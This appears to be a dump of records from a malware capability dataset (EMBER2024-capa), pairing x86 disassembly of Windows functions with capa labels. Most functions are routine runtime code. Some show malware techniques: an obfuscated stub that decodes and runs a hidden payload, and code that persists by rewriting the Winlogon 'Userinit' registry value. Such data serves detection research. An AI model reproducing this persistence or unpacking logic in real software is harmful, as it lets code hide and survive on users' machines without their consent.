joyce8/EMBER2024-capa huggingface dataset:
Function at 0x457ec0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
mov ebp, eax
push esi
push ebx
mov ebx, edx
sub esp, 0x3c
mov eax, dword [eax + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x28], eax
mov eax, dword [edx]
jmp 0x457eec
mov dword [0x50c4f8], edx
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
test eax, eax
je 0x457fa4
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x28]
call eax
test eax, eax
jne 0x458000
test esi, esi
je 0x457f67
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call esi
cmp eax, 7
je 0x457fdc
cmp eax, 8
jne 0x458000
mov eax, dword [ebx]
mov edx, dword [eax]
mov eax, dword [0x4f787c]
test eax, eax
js 0x457fe4
test eax, eax
je 0x457ee0
mov eax, dword [0x50c4f4]
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x457ee6
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x457ee6
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0x1a
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], edx
call eax
test eax, eax
jne 0x458000
mov eax, 5
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x2c], edx
call fcn.00457db0
mov eax, dword [0x4f787c]
mov edx, dword [esp + 0x2c]
jmp 0x457f74
add esp, 0x3c
mov eax, 2
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x458010
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x4f787c]
mov ebx, dword [esp + 0x30]
test eax, eax
js 0x458090
test eax, eax
jne 0x458040
mov eax, dword [0x50c4f8]
mov dword [0x50c4f8], ebx
mov dword [ebx], eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x50c4f4]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ebp, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov edi, eax
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x50c4f4]
sub esp, 4
mov dword [ebx], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x458035
add esp, 0x1c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
jmp eax
call fcn.00457db0
mov eax, dword [0x4f787c]
jmp 0x458024
Function at 0x4580a0
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [esp + 0x20]
mov ebx, dword [eax]
mov eax, dword [0x4f787c]
test eax, eax
js 0x4580e5
test eax, eax
jne 0x4580c2
mov dword [0x50c4f8], ebx
add esp, 0x18
pop ebx
ret
mov eax, dword [0x50c4f4]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x4580bd
add esp, 0x18
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.00457db0
mov eax, dword [0x4f787c]
jmp 0x4580b3

Function at 0x458200
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x4f787c]
mov edi, dword [esp + 0x40]
test eax, eax
js 0x4582ec
test eax, eax
mov esi, dword [0x50c4f8]
jne 0x458281
test esi, esi
mov dword [esp + 0x2c], esi
je 0x458275
lea ebx, [esp + 0x2c]
mov eax, esi
nop
mov eax, dword [eax + 0x18]
test eax, eax
je 0x458267
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov edx, dword [edi]
mov ecx, dword [edi + 4]
mov dword [esp + 4], 1
mov dword [esp], 1
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
cmp eax, 6
je 0x4582b0
cmp eax, 8
jne 0x4582e0
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x458230
mov eax, 5
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov esi, dword [0x50c4f4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x458221
mov eax, dword [esp + 0x2c]
mov dword [edi + 0xc], 0
mov edx, ebx
mov dword [esp + 0x2c], esi
mov dword [edi + 0x10], eax
mov eax, edi
call fcn.00457cd0
cmp eax, 7
jne 0x45827a
mov eax, ebx
call fcn.00457e50
mov esi, esi
lea edi, [edi]
add esp, 0x30
mov eax, 3
pop ebx
pop esi
pop edi
ret
call fcn.00457db0
mov eax, dword [0x4f787c]
jmp 0x458217

Function at 0x4583a0
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edx, dword [0x4f787c]
mov ebx, dword [esp + 0x30]
test edx, edx
js 0x458415
test edx, edx
mov eax, dword [0x50c4f8]
jne 0x4583ed
mov ecx, dword [ebx + 0xc]
lea esi, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
mov edx, esi
test ecx, ecx
jne 0x4583df
call fcn.00457cd0
cmp eax, 7
je 0x4583e6
call sub.msvcrt.dll_abort
call fcn.00457ec0
jmp 0x4583d5
mov eax, esi
call fcn.00457e50
mov esi, dword [0x50c4f4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
push edi
jmp 0x4583bd
call fcn.00457db0
mov edx, dword [0x4f787c]
jmp 0x4583b4
Function at 0x458430
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x458470
mov edx, dword [0x4f787c]
test edx, edx
js 0x4584c0
test edx, edx
mov eax, dword [0x50c4f8]
jne 0x458490
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
call fcn.00457ec0
cmp eax, 7
je 0x458480
call sub.msvcrt.dll_abort
lea esi, [esi]
mov dword [esp], ebx
call fcn.00458200
add esp, 0x20
pop ebx
pop esi
pop edi
ret
lea eax, [esp + 0x1c]
call fcn.00457e50
lea esi, [esi]
mov esi, dword [0x50c4f4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
sub esp, 4
jmp 0x458454
call fcn.00457db0
mov edx, dword [0x4f787c]
jmp 0x45844b
Function at 0x464cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x4c
mov eax, dword [ecx + 8]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
lea ebp, [esp + 0x3c]
mov dword [esp + 0x3c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebp
mov dword [esp], eax
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
call esi
sub esp, 0x14
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x464d40
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x464d23
movq xmm0, qword [edi + 0x18]
mov dword [esp + 4], eax
movq qword [esp + 8], xmm0
mov dword [esp], ebx
mov dword [esp + 0x2c], eax
call fcn.0042bca0
sub esp, 0x10
mov eax, dword [esp + 0x2c]
mov ebx, eax
sar ebx, 0x1f
add dword [edi + 0x18], eax
adc dword [edi + 0x1c], ebx
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret 8
mov ecx, edi
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.00405b90
sub esp, 8
mov eax, dword [edi + 8]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x3c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebp
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], edx
call esi
sub esp, 0x14
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x464cfa
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x4655d0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x3c
mov eax, dword [ecx + 8]
cmp eax, 0xffffffff
je 0x465696
mov esi, dword [ecx + 4]
test esi, esi
je 0x4656a5
lea ebp, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0xc], 1
mov dword [esp + 4], 0
mov dword [esp], eax
xor edi, edi
mov dword [esp + 8], ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov esi, eax
mov ecx, dword [ebx + 4]
mov eax, dword [esp + 0x2c]
mov edx, eax
xor eax, eax
add eax, esi
lea esi, [ebx + 0x1c]
adc edx, edi
add eax, dword [ebx + 0x10]
adc edx, dword [ebx + 0x14]
mov dword [esp], esi
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call fcn.0042bca0
mov eax, dword [ebx + 8]
sub esp, 0x10
mov edx, dword [ebx + 0x18]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebp
mov dword [esp + 4], esi
mov dword [esp], eax
mov dword [esp + 8], edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebx + 8]
sub esp, 0x14
mov dword [ebx + 0x18], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 8], 0xffffffff
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, [ecx + 0x1c]
lea ebp, [esp + 0x2c]
jmp 0x465655
Function at 0x4656b0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x3c
mov esi, dword [ecx + 4]
test esi, esi
je 0x465770
mov eax, dword [ecx + 8]
lea ebp, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0xc], 1
mov dword [esp + 4], 0
xor edi, edi
mov dword [esp + 8], ebp
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov esi, eax
mov ecx, dword [ebx + 4]
mov eax, dword [esp + 0x2c]
mov edx, eax
xor eax, eax
add eax, esi
lea esi, [ebx + 0x1c]
adc edx, edi
add eax, dword [ebx + 0x10]
adc edx, dword [ebx + 0x14]
mov dword [esp], esi
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call fcn.0042bca0
sub esp, 0x10
mov eax, dword [ebx + 8]
mov edx, dword [ebx + 0x18]
mov dword [esp + 0xc], ebp
mov dword [esp + 4], esi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
mov dword [ebx + 0x18], 0
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, [ecx + 0x1c]
lea ebp, [esp + 0x2c]
jmp 0x465729
Function at 0x415349
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x415358
pop dword [ebp - 0x4c]
mov eax, 0x2730d0fa
add eax, 0xd910825e
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3f2ba
push 0
mov eax, 0x585d4314
add eax, 0xa7e50f04
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x39256fd2
sub ecx, 0x39252392
xor esi, esi
add esi, eax
mov edx, 0x435400
add edx, dword [ebp - 0x4c]
mov edi, 0x86806d9
xor dword [ebp - 0x24], 0xc5dfc7b4
mov ebx, dword [edx]
add dword [ebp - 0x14], 0xf65a980d
sub ebx, edi
sub dword [ebp - 0x28], 0x15ac276e
mov dword [esi], ebx
mov dword [ebp - 0x44], 0x20ef5fcf
add esi, 4
add edx, 4
loop 0x4153ad
add eax, 0x123d3
xor ebx, ebx
add ebx, eax
add eax, 0xee4c9a93
add eax, 0x11b36572
mov ecx, 0x3c622041
sub ecx, 0x3c222041
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x407e5f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x811c50]
jne 0x407e69
repz ret
jmp fcn.0040c59d

Function at 0x40b2f0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406090
and dword [ebp - 4], 0
cmp dword [0x81b620], 0
mov ebx, eax
jne 0x40b3a1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b452
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b452
push eax
call fcn.0040601e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81b620], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81b624], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81b628], eax
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x81b630], eax
test eax, eax
je 0x40b3a1
push 0x80df10
push edi
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x81b62c], eax
mov eax, dword [0x81b62c]
cmp eax, ebx
je 0x40b3f9
cmp dword [0x81b630], ebx
je 0x40b3f9
push eax
call fcn.00406099
push dword [0x81b630]
mov esi, eax
call fcn.00406099
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b3f9
test edi, edi
je 0x40b3f9
call esi
test eax, eax
je 0x40b3f0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b3f0
test byte [ebp - 0xc], 1
jne 0x40b3f9
or dword [ebp + 0x10], 0x200000
jmp 0x40b432
mov eax, dword [0x81b624]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b432
mov eax, dword [0x81b628]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81b620]
call fcn.00406099
pop ecx
test eax, eax
je 0x40b452
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b454
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401d20
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], ebx
push ebx
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401da1
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x128
push eax
push esi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401da1
mov edi, dword [esp + 0x138]
lea ecx, [esp + 0x30]
push edi
push ecx
call fcn.00412110
add esp, 8
test eax, eax
jne 0x401d9c
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x401da1
lea eax, [esp + 0x30]
push edi
push eax
call fcn.00412110
add esp, 8
test eax, eax
je 0x401d7b
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret 4

Function at 0x401dc0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [esi + 0x14]
mov dword [esi], 0x420224
test eax, eax
je 0x401de9
push 0
push eax
call edi
mov eax, dword [esi + 0x14]
push eax
call ebx
mov eax, dword [esi + 0x2898]
test eax, eax
je 0x401e01
push 0
push eax
call edi
mov ecx, dword [esi + 0x2898]
push ecx
call ebx
mov edx, dword [esi + 0x78]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
pop edi
pop esi
pop ebx
ret

Function at 0x401e10
Capabilities:
Find taskbar

Disassembly:
push esi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x401e54
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.TrayNotifyWnd
push 0
push eax
call esi
test eax, eax
je 0x401e54
push 0
push str.SysPager
push 0
push eax
call esi
test eax, eax
je 0x401e54
push 0
push str.ToolbarWindow32
push 0
push eax
call esi
pop esi
ret

Function at 0x4021c0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esp + 8]
push esi
cmp eax, 0x202
mov esi, ecx
jne 0x40220e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40220e
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esi + 0x18]
mov dword [esi + 0x14], 0
push ecx
push 2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push 0x42511c
mov ecx, esi
call fcn.00402090
mov ecx, esi
call fcn.004020d0
pop esi
ret 8
Function at 0x402500
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push esi
push 0x402520
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi + 0x2898], eax
pop esi
ret

Function at 0x402c70
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
add esp, 0x190
ret
Function at 0x403140
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
push ebx
push esi
mov esi, dword [esp + 0x41c]
mov edx, ecx
mov ecx, esi
push edi
mov edi, dword [esp + 0x41c]
mov ebx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x418]
lea eax, [esp + 0xc]
push eax
push ecx
mov ecx, edx
call fcn.00402d80
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], eax
test ecx, ecx
je 0x40320f
push ebp
xor ebx, ebx
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x18]
push eax
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push 0x400
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov edx, eax
test edx, edx
jle 0x4031ff
add ebx, edx
cmp ebx, esi
jge 0x4031f6
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x420]
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
cmp edx, 0xffffffff
je 0x4031ff
cmp ebx, esi
jl 0x403192
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esp + 0x14]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x408
ret 0xc
Function at 0x405050
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x2ac8
call fcn.00411f90
push esi
push edi
push str.mutex_for_onlyonerunned
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x429244], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4050a0
mov eax, dword [0x429244]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [0x429244], 0
xor eax, eax
pop edi
pop esi
add esp, 0x2ac8
ret 0x10
call fcn.00402c70
test eax, eax
jle 0x4050b6
xor eax, eax
pop edi
pop esi
add esp, 0x2ac8
ret 0x10
push 0x104
push 0x429250
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x429250
call fcn.00405200
mov ecx, dword [esp + 0x2ad8]
add esp, 4
push 0x429248
push 0x405160
push ecx
lea ecx, [esp + 0x30]
call section..text
sub esp, 0x1c
mov ecx, 7
lea esi, [esp + 0x24]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x40]
lea ecx, [esp + 0x40]
mov dword [0x42924c], edx
call fcn.00401a70
mov eax, dword [0x429244]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call sub.WS2_32.dll_WSACleanup
mov ecx, dword [0x42924c]
mov eax, dword [ecx + 0x2aa8]
lea ecx, [esp + 0x24]
test eax, eax
jne 0x40514a
call fcn.00401dc0
xor eax, eax
pop edi
pop esi
add esp, 0x2ac8
ret 0x10
call fcn.00401dc0
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x2ac8
ret 0x10
Function at 0x405200
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x14a8
call fcn.00411f90
lea eax, [esp]
push eax
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
test edx, edx
je 0x4053d3
push ebx
push esi
push edi
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0xa4]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea eax, [esp + 0x8a4]
push ecx
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.Userinit
push edx
mov dword [esp + 0x30], 0x800
mov dword [esp + 0x2c], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [esp + 0x14b8]
lea edx, [esp + 0x8a4]
push edi
push edx
call fcn.00412110
add esp, 8
test eax, eax
jne 0x40539e
or ecx, 0xffffffff
lea edx, [esp + 0x8a4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x4252d8
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x8a8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4252d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x8a8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10ac]
push ecx
call fcn.00404fd0
add esp, 0xc
test eax, eax
jle 0x40539e
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_OpenFile]
lea ebx, [esp + 0x10a8]
mov dword [esp + 0x14], eax
mov eax, dword [ebx]
lea edx, [esp + 0x20]
push 0x4000
push edx
push eax
call ebp
cmp eax, 0xffffffff
je 0x40538f
mov edi, dword [ebx]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xa8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xa8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4252d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
add ebx, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x40531e
pop ebp
lea edi, [esp + 0xa4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xa4]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push 1
push 0
push str.Userinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
pop edi
pop esi
pop ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x14a8
ret